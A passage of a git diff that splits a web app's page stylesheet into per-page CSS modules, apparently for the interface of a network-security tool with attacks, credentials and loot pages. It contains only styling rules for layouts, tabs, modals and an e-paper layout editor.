-.vuln-container .modal-detail-section { - margin-bottom: 10px; -} - -.vuln-container .modal-section-title { - font-weight: 700; - margin-bottom: 4px; - color: var(--accent-2); -} - -.vuln-container .modal-section-text { - color: var(--ink); - line-height: 1.45; -} - -/* ---- Misc runtime aliases ---- */ -.backup-table { - width: 100%; - border-collapse: collapse; -} - -.backup-table th, -.backup-table td { - padding: 8px; - border-bottom: 1px dashed var(--c-border); - text-align: left; -} - -.backup-table th { - color: var(--muted); -} - -.page-loading { - color: var(--muted); - text-align: center; - padding: 16px; -} - -.network-container .network-empty { - padding: 14px; - text-align: center; - color: var(--muted); - border: 1px dashed var(--c-border); - border-radius: 10px; - background: var(--panel); -} - -.network-container .table-inner { - min-width: max-content; -} - -/* ---- Final parity aliases ---- */ -.actions-container .sidebar-page { - display: block; -} - -.vuln-container.page-with-sidebar { - --page-sidebar-w: 300px; -} - -.vuln-container.page-with-sidebar .vuln-sidebar { - min-height: 0; -} - -.vuln-container.page-with-sidebar .vuln-main { - min-width: 0; - display: flex; - flex-direction: column; - gap: 10px; -} - -.vuln-container.page-with-sidebar .vuln-main .vuln-controls { - margin-bottom: 0; -} - -.vuln-container.page-with-sidebar .vuln-main .vuln-severity-bar { - margin-bottom: 0; -} - -.vuln-container.page-with-sidebar .vuln-main .services-grid { - max-height: none; - min-height: 280px; -} - -.vuln-container.page-with-sidebar .stats-header { - display: grid; - gap: 10px; -} - -.zombieland-container .zl-search-clear { - border: 1px solid var(--_border); - border-radius: 8px; - background: var(--_panel-lo); - color: var(--muted); - padding: 6px 8px; - cursor: pointer; -} - -.zombieland-container .zl-search-clear:hover { - color: var(--_ink); -} - -.zombieland-container .zl-btn-start { - color: color-mix(in oklab, var(--ok) 80%, var(--_ink)); -} - -.zombieland-container .zl-btn-stop { - color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); -} - -.zombieland-container .zl-pill { - display: inline-flex; - align-items: center; - padding: 2px 8px; - border-radius: 999px; - border: 1px solid var(--_border); - background: var(--_panel-hi); - color: var(--muted); - font-size: 12px; -} - -.zombieland-container .zl-info-value { - color: var(--_ink); - font-size: 12px; -} - -.zombieland-container .zl-log-line { - display: grid; - grid-template-columns: auto auto 1fr; - gap: 8px; - margin-bottom: 6px; - font: var(--font-mono); -} - -.zombieland-container .zl-log-text { - word-break: break-word; -} - -.bjorn-container .bjorn-epd-img { - image-rendering: auto; - border-radius: 10px; - box-shadow: var(--shadow); -} - -/* ===== BACKUP PAGE (NEW SPA LAYOUT) ===== */ -.page-backup { - padding: 10px; -} - -.page-backup .backup-layout { - display: grid; - grid-template-columns: minmax(240px, 300px) 1fr; - gap: 12px; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); -} - -.page-backup .backup-sidebar, -.page-backup .backup-main { - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); -} - -.page-backup .backup-sidebar { - padding: 12px; - display: grid; - align-content: start; - gap: 10px; -} - -.page-backup .backup-sidehead { - border-bottom: 1px dashed var(--c-border); - padding-bottom: 8px; -} - -.page-backup .backup-side-title { - margin: 0; - color: var(--acid); - font-size: 14px; - letter-spacing: .04em; - text-transform: uppercase; -} - -.page-backup .backup-nav-item { - width: 100%; - border: 1px solid var(--c-border); - border-radius: 12px; - background: color-mix(in oklab, var(--panel) 88%, transparent); - color: var(--ink); - display: flex; - align-items: center; - gap: 10px; - padding: 10px; - cursor: pointer; - transition: .18s; - text-align: left; -} - -.page-backup .backup-nav-item:hover { - transform: translateY(-1px); - box-shadow: var(--shadow); -} - -.page-backup .backup-nav-item.active { - border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); - box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--acid-2) 30%, transparent); -} - -.page-backup .backup-nav-icon { - width: 42px; - height: 42px; - object-fit: contain; - border-radius: 8px; - background: rgba(0, 0, 0, .2); -} - -.page-backup .backup-nav-label { - font-weight: 700; - letter-spacing: .01em; -} - -.page-backup .backup-main { - padding: 14px; - overflow: auto; -} - -.page-backup .backup-title { - margin: 0 0 12px 0; -} - -.page-backup .backup-form { - margin-bottom: 14px; -} - -.page-backup .backup-label { - display: block; - margin-bottom: 8px; - color: var(--muted); -} - -.page-backup .backup-form-row { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.page-backup .backup-input { - flex: 1; - min-width: 220px; - border: 1px solid var(--c-border); - border-radius: 10px; - background: var(--c-panel); - color: var(--ink); - padding: 10px 12px; -} - -.page-backup .backup-subtitle { - margin: 10px 0; - color: var(--muted); - font-size: 13px; - text-transform: uppercase; - letter-spacing: .03em; -} - -.page-backup .backup-table-wrap { - overflow: auto; - border: 1px solid var(--c-border); - border-radius: 12px; -} - -.page-backup .backup-table { - width: 100%; - border-collapse: collapse; -} - -.page-backup .backup-table th, -.page-backup .backup-table td { - padding: 10px; - border-bottom: 1px dashed var(--c-border); - text-align: left; - vertical-align: top; -} - -.page-backup .backup-row-actions { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.page-backup .backup-default-pill { - margin-left: 8px; -} - -.page-backup .backup-empty { - padding: 22px; - text-align: center; - color: var(--muted); -} - -.page-backup .backup-update-message { - background: color-mix(in oklab, var(--ok) 18%, transparent); - border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--c-border)); - border-radius: 999px; - padding: 10px 14px; - display: inline-block; - margin-bottom: 12px; -} - -.page-backup .backup-version-lines { - display: grid; - gap: 4px; -} - -.page-backup .backup-update-available { - color: var(--acid); - font-weight: 700; -} - -.page-backup .backup-update-ok { - color: var(--ok); - font-weight: 700; -} - -.page-backup .backup-update-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.page-backup .backup-modal-overlay { - position: fixed; - inset: 0; - z-index: 1200; - background: rgba(0, 0, 0, .6); - display: none; - align-items: center; - justify-content: center; - padding: 10px; -} - -.page-backup .backup-modal { - width: min(480px, 95vw); - background: var(--grad-card); - border: 1px solid var(--c-border); - border-radius: 14px; - padding: 12px; - box-shadow: var(--shadow-hover); -} - -.page-backup .backup-modal-head { - display: flex; - align-items: center; - gap: 8px; - justify-content: space-between; -} - -.page-backup .backup-modal-title { - margin: 0; -} - -.page-backup .backup-modal-help { - color: var(--muted); - margin: 8px 0 10px 0; -} - -.page-backup .backup-keep { - display: flex; - gap: 8px; - align-items: center; - padding: 4px 0; -} - -.page-backup .backup-modal-actions { - display: flex; - justify-content: flex-end; - gap: 8px; - margin-top: 12px; - padding-top: 10px; - border-top: 1px dashed var(--c-border); -} - -.page-backup .backup-loading-overlay { - position: fixed; - inset: 0; - z-index: 1300; - background: rgba(0, 0, 0, .6); - display: none; - align-items: center; - justify-content: center; -} - -.page-backup .backup-spinner { - width: 52px; - height: 52px; - border: 4px solid transparent; - border-top-color: var(--accent-2); - border-right-color: var(--accent-2); - border-radius: 50%; - animation: bak-spin .9s linear infinite; -} - -.page-backup.page-with-sidebar { - --page-sidebar-w: 300px; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); -} - -.page-backup.page-with-sidebar .backup-sidebar { - padding: 12px; - display: grid; - align-content: start; - gap: 10px; - min-height: 0; -} - -.page-backup.page-with-sidebar .backup-main { - min-width: 0; - min-height: 0; -} - -/* ===== STUDIO RUNTIME HOST ===== */ -.studio-container.studio-runtime-host { - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); - height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); -} - -.studio-container.studio-runtime-host #app { - height: 100%; - min-height: 100%; - display: grid; - grid-template-rows: auto minmax(0, 1fr) auto; -} - -.studio-container.studio-runtime-host main { - min-height: 0; -} - -.studio-container.studio-runtime-host #left, -.studio-container.studio-runtime-host #center, -.studio-container.studio-runtime-host #right { - min-height: 0; - height: 100%; -} - -@media (max-width:1100px) { - - .studio-container.studio-runtime-host #left, - .studio-container.studio-runtime-host #right { - top: calc(var(--h-topbar, 56px) + var(--studio-header-h, 52px) + 8px); - } -} - -.studio-container .studio-loading { - padding: 14px; - color: var(--muted); - text-align: center; - border: 1px dashed var(--c-border); - border-radius: 10px; - margin: 12px; -} - -@media (max-width: 900px) { - .page-backup .backup-layout { - grid-template-columns: 1fr; - min-height: auto; - } - - .page-backup .backup-sidebar { - grid-template-columns: 1fr 1fr; - } - - .page-backup .backup-sidehead { - grid-column: 1 / -1; - } - - .page-backup.page-with-sidebar .backup-sidebar { - grid-template-columns: 1fr 1fr; - } - - .page-backup.page-with-sidebar .backup-sidehead { - grid-column: 1 / -1; - } -} \ No newline at end of file +/* Aggregated page styles split by module. Keep import order to preserve cascade. */ +@import url("./pages/shared.css"); +@import url("./pages/dashboard.css"); +@import url("./pages/credentials.css"); +@import url("./pages/netkb.css"); +@import url("./pages/network.css"); +@import url("./pages/vulnerabilities.css"); +@import url("./pages/scheduler.css"); +@import url("./pages/attacks.css"); +@import url("./pages/database.css"); +@import url("./pages/bjorn.css"); +@import url("./pages/loot.css"); +@import url("./pages/files.css"); +@import url("./pages/compat.css"); +@import url("./pages/backup.css"); +@import url("./pages/actions-studio.css"); +@import url("./pages/sentinel.css"); +@import url("./pages/bifrost.css"); +@import url("./pages/loki.css"); diff --git a/web/css/pages/actions-studio.css b/web/css/pages/actions-studio.css new file mode 100644 index 0000000..72a5a96 --- /dev/null +++ b/web/css/pages/actions-studio.css @@ -0,0 +1,153 @@ +/* ===== STUDIO RUNTIME HOST ===== */ +.studio-container.studio-runtime-host { + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); +} + +.studio-container.studio-runtime-host #app { + height: 100%; + min-height: 100%; + display: grid; + grid-template-rows: auto minmax(0, 1fr) auto; +} + +.studio-container.studio-runtime-host main { + min-height: 0; +} + +.studio-container.studio-runtime-host #left, +.studio-container.studio-runtime-host #center, +.studio-container.studio-runtime-host #right { + min-height: 0; + height: 100%; +} + +/* ===== Studio kebab menu (replaces inline styles) ===== */ +.studio-container .kebab { + position: relative; +} + +.studio-container .studio-kebab-menu { + position: absolute; + top: calc(100% + 6px); + right: 0; + min-width: 240px; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 6px; + box-shadow: 0 10px 32px rgba(0, 0, 0, .45); + display: none; + z-index: 2400; +} + +.studio-container .studio-kebab-menu .item { + padding: .55rem .7rem; + border-radius: 8px; + font-size: 13px; + cursor: pointer; + color: var(--ink); + transition: background .15s ease; +} + +.studio-container .studio-kebab-menu .item:hover { + background: color-mix(in oklab, var(--ink) 8%, transparent); +} + +/* ===== Studio legend dots ===== */ +.studio-container .legend-dot { + display: inline-block; + width: 8px; + height: 8px; + border-radius: 50%; +} + +.studio-container .legend-dot.legend-ok { + background: var(--ok, #22c55e); +} + +.studio-container .legend-dot.legend-bad { + background: var(--bad, #ef4444); +} + +.studio-container .legend-dot.legend-req { + background: #7aa7ff; +} + +/* ===== Studio create host button ===== */ +.studio-container .studio-create-host-btn { + width: 100%; + margin-bottom: 10px; +} + +/* ===== Studio action buttons row ===== */ +.studio-container .studio-action-btns { + margin-top: .6rem; +} + +/* ===== Studio mono input ===== */ +.studio-container .mono-input { + font-family: ui-monospace, 'Cascadia Code', 'Fira Code', monospace; +} + +/* ===== Flex-1 utility ===== */ +.studio-container .flex-1 { + flex: 1; +} + +/* ===== Studio link wizard endpoints ===== */ +.studio-container .studio-link-endpoints { + margin-bottom: 6px; +} + +/* ===== Studio preview row ===== */ +.studio-container .studio-preview-row { + margin-top: 10px; +} + +/* ===== Studio wizard buttons ===== */ +.studio-container .studio-wizard-btns { + margin-top: 16px; + display: flex; + gap: 10px; +} + +@media (max-width: 1100px) { + .studio-container.studio-runtime-host #left, + .studio-container.studio-runtime-host #right { + top: calc(var(--h-topbar, 56px) + var(--studio-header-h, 52px) + 8px); + } +} + +.studio-container .studio-loading { + padding: 14px; + color: var(--muted); + text-align: center; + border: 1px dashed var(--c-border); + border-radius: 10px; + margin: 12px; +} + +/* ===== Backup page responsive ===== */ +@media (max-width: 900px) { + .page-backup .backup-layout { + grid-template-columns: 1fr; + min-height: auto; + } + + .page-backup .backup-sidebar { + grid-template-columns: 1fr 1fr; + } + + .page-backup .backup-sidehead { + grid-column: 1 / -1; + } + + .page-backup.page-with-sidebar .backup-sidebar { + grid-template-columns: 1fr 1fr; + } + + .page-backup.page-with-sidebar .backup-sidehead { + grid-column: 1 / -1; + } +} diff --git a/web/css/pages/attacks.css b/web/css/pages/attacks.css new file mode 100644 index 0000000..ee904d5 --- /dev/null +++ b/web/css/pages/attacks.css @@ -0,0 +1,993 @@ +/* ========================================================================== + ATTACKS — Full page: Attacks · Comments · Images · EPD Layout + Expert UX/UI — responsive, no unwanted scroll, clean layouts. + ========================================================================== */ + +/* ── Sidebar scroll isolation ──────────────────────────────── */ +.attacks-container .attacks-sidebar.page-sidebar { + overflow: hidden; +} + +/* ── Main area: fill height so textarea stretches ─────────── */ +.attacks-container .attacks-main.page-main { + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + overflow: hidden; +} + +/* ── Tabs ─────────────────────────────────────────────────── */ +.attacks-container .tabs-container { + display: flex; + gap: 3px; + padding: 0 0 8px; + border-bottom: 1px solid var(--_border); +} + +.attacks-container .attacks-sidebar > .tabs-container { + margin: 10px 10px 0; + padding-bottom: 6px; + flex-shrink: 0; +} + +/* Keep sidehead + tabs pinned at top of sidebar */ +.attacks-container .attacks-sidebar > .sidehead { + flex-shrink: 0; + position: sticky; + top: 0; + z-index: 5; + background: var(--grad-card); +} + +.attacks-container .attacks-sidebar > .sidebar-page { + flex: 1; + min-height: 0; + overflow-y: auto; + overflow-x: hidden; + padding: 8px 10px 10px; +} + +.attacks-container .tab-btn { + flex: 1; + padding: 8px 4px; + border: 1px solid var(--_border); + border-bottom: none; + cursor: pointer; + font-size: 12px; + font-weight: 700; + letter-spacing: .02em; + border-radius: 8px 8px 0 0; + color: var(--_muted); + background: transparent; + transition: color .15s, background .15s; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.attacks-container .tab-btn:hover { + color: var(--_ink); + background: var(--_panel-lo); +} + +.attacks-container .tab-btn.active { + color: var(--_ink); + background: color-mix(in oklab, var(--_acid2) 10%, var(--_panel-lo)); + border-color: color-mix(in oklab, var(--_acid2) 25%, var(--_border)); +} + +/* ── Unified list (shared across sidebar tabs) ────────────── */ +.attacks-container .unified-list { + list-style: none; + margin: 0; + padding: 0; +} + +.attacks-container .unified-list .card { + display: flex; + align-items: center; + gap: 10px; + padding: 8px; + margin-bottom: 4px; + cursor: pointer; + border-radius: 10px; + background: var(--_panel-lo); + transition: background .15s; + border: 1px solid transparent; +} + +.attacks-container .unified-list .card:hover { + background: var(--_panel-hi); +} + +.attacks-container .unified-list .card.selected { + background: color-mix(in oklab, var(--_acid2) 12%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); +} + +.attacks-container .unified-list .card img { + height: 40px; + width: 40px; + border-radius: 8px; + object-fit: cover; + background: #0b0e13; + border: 1px solid var(--_border); + flex: 0 0 auto; +} + +.attacks-container .unified-list .card span { + flex: 1; + font-weight: 700; + font-size: 13px; + color: var(--_ink); + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +/* ── Enable dot ───────────────────────────────────────────── */ +.attacks-container .enable-dot { + --size: 12px; + width: var(--size); + height: var(--size); + border-radius: 999px; + border: 1px solid var(--_border); + background: var(--ko); + box-shadow: 0 0 0 0 var(--ko-glow); + transition: .18s ease; + flex: 0 0 auto; + cursor: pointer; +} + +.attacks-container .enable-dot.on { + background: var(--ok); + box-shadow: 0 0 0 3px var(--ok-glow); + border-color: color-mix(in oklab, var(--ok) 45%, var(--_border)); +} + +.attacks-container .enable-dot:focus-visible { + outline: none; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 45%, transparent); +} + +/* ── Page content panels ──────────────────────────────────── */ +.attacks-container .page-content { + display: none; + flex-direction: column; + min-height: 0; + flex: 1; + overflow-y: auto; + overflow-x: hidden; + padding: 10px; +} + +.attacks-container .page-content.active { + display: flex; +} + +/* Suppress focus ring on main area (used for arrow key nav in EPD editor) */ +.attacks-container .page-content:focus { + outline: none; +} + +/* ── ATTACKS TAB: Editor ──────────────────────────────────── */ +.attacks-container .editor-textarea-container { + display: flex; + flex-direction: column; + flex: 1; + gap: 10px; + min-height: 0; +} + +.attacks-container .editor-header { + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + flex-wrap: wrap; + flex-shrink: 0; +} + +.attacks-container .editor-header h2 { + font-size: 16px; + margin: 0; +} + +.attacks-container .editor-buttons { + display: flex; + gap: 6px; +} + +.attacks-container .editor-textarea { + flex: 1; + min-height: 200px; + resize: vertical; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + font-size: 13px; + line-height: 1.5; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 12px; + transition: border-color .15s; +} + +.attacks-container .editor-textarea:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +/* ── IMAGES TAB: Actions bar + grid ───────────────────────── */ +.attacks-container .actions-bar { + display: flex; + flex-wrap: wrap; + gap: 8px; + margin-bottom: 12px; + position: sticky; + top: 0; + z-index: 10; + background: var(--_panel); + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); +} + +.attacks-container .actions-bar button, +.attacks-container .chip, +.attacks-container .select, +.attacks-container .sort-toggle { + border-radius: 8px; + border: 1px solid var(--_border); + color: var(--_ink); + background: var(--_panel-lo); + padding: 7px 10px; + cursor: pointer; + transition: .15s; + font-weight: 700; + font-size: 12px; + white-space: nowrap; +} + +.attacks-container .actions-bar button:hover, +.attacks-container .chip:hover, +.attacks-container .select:hover, +.attacks-container .sort-toggle:hover { + background: var(--_panel-hi); +} + +.attacks-container .actions-bar button.danger { + background: color-mix(in oklab, var(--_acid) 10%, var(--_panel-lo)); +} + +.attacks-container .actions-bar button.danger:hover { + background: color-mix(in oklab, var(--_acid) 16%, var(--_panel-hi)); +} + +.attacks-container .chip { border-radius: 999px; } +.attacks-container .select { appearance: none; } +.attacks-container .sort-toggle { min-width: 36px; text-align: center; } + +.attacks-container .field { + position: relative; + min-width: 140px; + flex: 1 1 140px; + max-width: 240px; +} + +.attacks-container .input { + width: 100%; + padding: 7px 10px 7px 32px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 8px; + outline: none; + font-size: 12px; + transition: .15s; +} + +.attacks-container .input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .field .icon { + position: absolute; + left: 10px; + top: 7px; + opacity: .6; + pointer-events: none; + font-size: 12px; +} + +.attacks-container .range-wrap { + display: flex; + align-items: center; + gap: 6px; + font-size: 12px; +} + +.attacks-container .range { accent-color: var(--_acid); } + +.attacks-container .image-container { + display: grid; + gap: 8px; + grid-template-columns: repeat(auto-fill, minmax(var(--tile-min), 1fr)); + padding-bottom: 80px; +} + +.attacks-container .image-item { + position: relative; + border-radius: 10px; + overflow: hidden; + cursor: pointer; + aspect-ratio: 1/1; + transition: .15s; + background: var(--_panel-lo); + border: 1px solid var(--_border); +} + +.attacks-container .image-item:hover { + transform: translateY(-2px); + box-shadow: var(--_shadow); +} + +.attacks-container .image-item img { + width: 100%; + height: 100%; + display: block; + object-fit: contain; + background: #0b0e13; + image-rendering: pixelated; +} + +.attacks-container .image-info { + position: absolute; + inset: auto 0 0 0; + padding: 4px 6px; + text-align: center; + font-size: 11px; + color: var(--_ink); + background: linear-gradient(180deg, transparent, rgba(0, 0, 0, .7)); +} + +.attacks-container .select-ring { + position: absolute; + inset: 0; + pointer-events: none; + border: 3px solid transparent; + border-radius: 10px; + transition: .15s; +} + +.attacks-container .image-item.selectable:hover .select-ring { + border-color: color-mix(in oklab, var(--_acid2) 35%, transparent); +} + +.attacks-container .image-item.selected .select-ring { + border-color: var(--_acid2); + box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--_acid2) 30%, transparent); +} + +.attacks-container .tick-overlay { + position: absolute; + top: 6px; + right: 6px; + width: 22px; + height: 22px; + border-radius: 50%; + background: color-mix(in oklab, var(--_acid) 80%, white); + color: #001; + font-weight: 900; + font-size: 12px; + display: none; + align-items: center; + justify-content: center; + box-shadow: var(--_shadow); +} + +.attacks-container .image-item.selected .tick-overlay { + display: flex; +} + +.attacks-container .skeleton { + border-radius: 10px; + aspect-ratio: 1/1; + background: linear-gradient(90deg, rgba(255, 255, 255, .03) 25%, rgba(255, 255, 255, .07) 37%, rgba(255, 255, 255, .03) 63%); + background-size: 400% 100%; + animation: atk-shimmer 1.1s infinite; + border: 1px solid var(--_border); +} + +@keyframes atk-shimmer { + 0% { background-position: 100% 0; } + 100% { background-position: 0 0; } +} + +/* ── Mode visibility toggles ─────────────────────────────── */ +.attacks-container .edit-only { display: none; } +.attacks-container .status-only { display: none; } +.attacks-container .static-only { display: none; } +.attacks-container .web-only { display: none; } +.attacks-container .icons-only { display: none; } + +.attacks-container .edit-mode .edit-only { display: inline-flex; } +.attacks-container .status-mode .status-only { display: inline-block; } +.attacks-container .static-mode .static-only { display: inline-block; } +.attacks-container .web-mode .web-only { display: inline-block; } +.attacks-container .icons-mode .icons-only { display: inline-block; } + +/* ── COMMENTS TAB ─────────────────────────────────────────── */ +.attacks-container .buttons-container { + display: flex; + align-items: center; + justify-content: flex-end; + gap: 8px; + margin-bottom: 8px; + flex-wrap: wrap; + position: sticky; + top: 0; + z-index: 10; + background: var(--_panel); + padding: 6px 8px; + border-radius: 10px; + flex-shrink: 0; +} + +.attacks-container .buttons-container h2 { + margin: 0; + margin-right: auto; + font-size: 16px; +} + +.attacks-container .comments-container { + display: flex; + flex: 1 1 auto; + min-height: 0; +} + +.attacks-container .comments-editor { + flex: 1 1 auto; + min-width: 0; + min-height: 0; + overflow: auto; + white-space: pre; + word-wrap: normal; + background: var(--_panel-lo); + color: var(--_ink); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 14px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + font-size: 13px; +} + +.attacks-container .comments-editor:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .comments-editor.placeholder { color: var(--_muted); } +.attacks-container .comment-line { display: block; width: 100%; } +.attacks-container .comment-line:nth-child(odd) { color: var(--_ink); } +.attacks-container .comment-line:nth-child(even) { color: var(--_acid); } + +/* ── Modals (shared) ──────────────────────────────────────── */ +.attacks-container .modal-action { + display: none; + position: fixed; + inset: 0; + z-index: 1000; + padding: 10px; + background: rgba(0, 0, 0, .6); + justify-content: center; + align-items: center; +} + +.attacks-container .modal-content { + position: relative; + width: 100%; + max-width: 520px; + max-height: 90vh; + overflow-y: auto; + background: var(--_panel-hi); + padding: 20px; + border-radius: 14px; + border: 1px solid var(--_border); + box-shadow: var(--_shadow); +} + +.attacks-container .modal-header h3 { margin: 0 0 10px; color: var(--_ink); } +.attacks-container .modal-body { margin-bottom: 16px; } +.attacks-container .modal-footer { display: flex; justify-content: flex-end; gap: 8px; } + +.attacks-container .close { + position: absolute; + right: 10px; + top: 10px; + font-size: 20px; + cursor: pointer; + color: var(--_muted); + background: none; + border: none; +} + +.attacks-container .form-group { margin-bottom: 14px; } +.attacks-container .form-group label { + display: block; + margin-bottom: 5px; + color: var(--_muted); + font-weight: 700; + font-size: 12px; +} + +.attacks-container .form-group input[type="text"], +.attacks-container .form-group input[type="number"], +.attacks-container .form-group input[type="file"] { + width: 100%; + padding: 8px 10px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 8px; + outline: none; + font-size: 13px; + transition: .15s; +} + +.attacks-container .form-group input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +/* ── Sidebar action buttons / hero buttons ────────────────── */ +.attacks-container .action-btn-container { + padding: 2px; + gap: 2px; + display: flex; + flex-wrap: wrap; + align-items: center; + justify-content: center; +} + +.attacks-container .hero-btn { + border-radius: 12px; + background: var(--grid), var(--grad-hero); + position: sticky; + bottom: 0; + border: 1px solid var(--c-border); + box-shadow: var(--shadow); + display: flex; + flex-wrap: wrap; + align-items: center; + justify-content: center; + gap: 4px; + text-align: center; + padding: 6px; +} + +/* ── Responsive: mobile main area ─────────────────────────── */ +@media (max-width: 900px) { + .attacks-container .attacks-main.page-main { + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); + } +} + +/* ── Responsive: base (all tabs) ──────────────────────────── */ +@media (max-width: 480px) { + .attacks-container .tabs-container { gap: 2px; } + + .attacks-container .tab-btn { + font-size: 11px; + padding: 6px 3px; + } + + .attacks-container .actions-bar { + gap: 6px; + padding: 6px; + } + + .attacks-container .actions-bar button, + .attacks-container .chip, + .attacks-container .select { + padding: 6px 8px; + font-size: 11px; + } +} + + +/* ========================================================================== + EPD LAYOUT EDITOR + ========================================================================== */ + +/* ── Toolbar — two compact rows ───────────────────────────── */ +.epd-editor-toolbar { + display: flex; + flex-direction: column; + gap: 5px; + margin-bottom: 10px; + position: sticky; + top: 0; + z-index: 10; + background: var(--_panel); + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); +} + +.epd-toolbar-row { + display: flex; + flex-wrap: wrap; + gap: 6px; + align-items: center; +} + +.epd-editor-toolbar .select, +.epd-editor-toolbar .btn { + border-radius: 8px; + border: 1px solid var(--_border); + color: var(--_ink); + background: var(--_panel-lo); + padding: 5px 9px; + cursor: pointer; + transition: .15s; + font-weight: 700; + font-size: 12px; + white-space: nowrap; +} + +.epd-editor-toolbar .select { appearance: none; } + +.epd-editor-toolbar .btn:hover, +.epd-editor-toolbar .select:hover { + background: var(--_panel-hi); +} + +.epd-editor-toolbar .btn.active { + background: color-mix(in oklab, var(--_acid2) 14%, var(--_panel-lo)); + border-color: color-mix(in oklab, var(--_acid2) 25%, var(--_border)); +} + +.epd-editor-toolbar .btn.danger { + background: color-mix(in oklab, var(--_acid) 10%, var(--_panel-lo)); +} + +.epd-editor-toolbar .btn.danger:hover { + background: color-mix(in oklab, var(--_acid) 16%, var(--_panel-hi)); +} + +/* ── Zoom ─────────────────────────────────────────────────── */ +.epd-zoom-wrap { + display: flex; + align-items: center; + gap: 5px; + font-size: 12px; + font-weight: 600; +} + +.epd-zoom-range { + width: 70px; + accent-color: var(--_acid); +} + +.epd-zoom-label { + min-width: 32px; + text-align: right; + opacity: .65; + font-size: 11px; +} + +/* ── Content row: canvas + live preview ───────────────────── */ +.epd-content-row { + display: flex; + gap: 12px; + align-items: flex-start; + min-height: 0; + flex: 1; +} + +/* ── Canvas wrapper — scrolls internally, never causes page scroll */ +.epd-canvas-wrapper { + flex: 1 1 0; + min-width: 0; + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 140px); + overflow: auto; + border-radius: 10px; + border: 1px solid var(--_border); + padding: 12px; + /* Checkerboard transparency */ + background-image: + linear-gradient(45deg, #e0e0e0 25%, transparent 25%), + linear-gradient(-45deg, #e0e0e0 25%, transparent 25%), + linear-gradient(45deg, transparent 75%, #e0e0e0 75%), + linear-gradient(-45deg, transparent 75%, #e0e0e0 75%); + background-size: 14px 14px; + background-position: 0 0, 0 7px, 7px -7px, -7px 0; + background-color: #f0f0f0; +} + +.epd-canvas-wrapper.mode-bn { + background-image: + linear-gradient(45deg, #1a1a1a 25%, transparent 25%), + linear-gradient(-45deg, #1a1a1a 25%, transparent 25%), + linear-gradient(45deg, transparent 75%, #1a1a1a 75%), + linear-gradient(-45deg, transparent 75%, #1a1a1a 75%); + background-color: #111; +} + +/* Inverted mode — handled at SVG level (bg fill + image filter) */ + +.epd-canvas-wrapper svg { + display: block; + cursor: crosshair; +} + +.epd-canvas-wrapper svg g[data-key] { cursor: move; } +.epd-canvas-wrapper svg g[data-key] rect { transition: stroke-width .1s; } +.epd-canvas-wrapper svg g[data-key]:hover rect { stroke-width: 1.2; } + +/* ── Live EPD preview ─────────────────────────────────────── */ +.epd-live-panel { + flex: 0 0 auto; + width: 180px; + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 10px; + text-align: center; + position: sticky; + top: 0; +} + +.epd-live-panel h4 { + margin: 0 0 6px; + font-size: 12px; + font-weight: 700; + color: var(--_ink); + opacity: .7; +} + +.epd-live-img { + width: 100%; + border-radius: 4px; + border: 1px solid var(--_border); + background: #0b0e13; + image-rendering: pixelated; + transition: opacity .3s; +} + +/* ── Sidebar: properties panel ────────────────────────────── */ +.epd-props-panel { + padding: 0 0 8px; + border-bottom: 1px solid var(--_border); + margin-bottom: 8px; +} + +.epd-props-panel h4 { + margin: 0 0 6px; + font-size: 14px; + color: var(--_acid2); +} + +.epd-hint { + opacity: .55; + font-size: 12px; + margin: 4px 0; +} + +.epd-prop-row { + display: flex; + align-items: center; + gap: 6px; + margin-bottom: 3px; +} + +.epd-prop-row label { + font-weight: 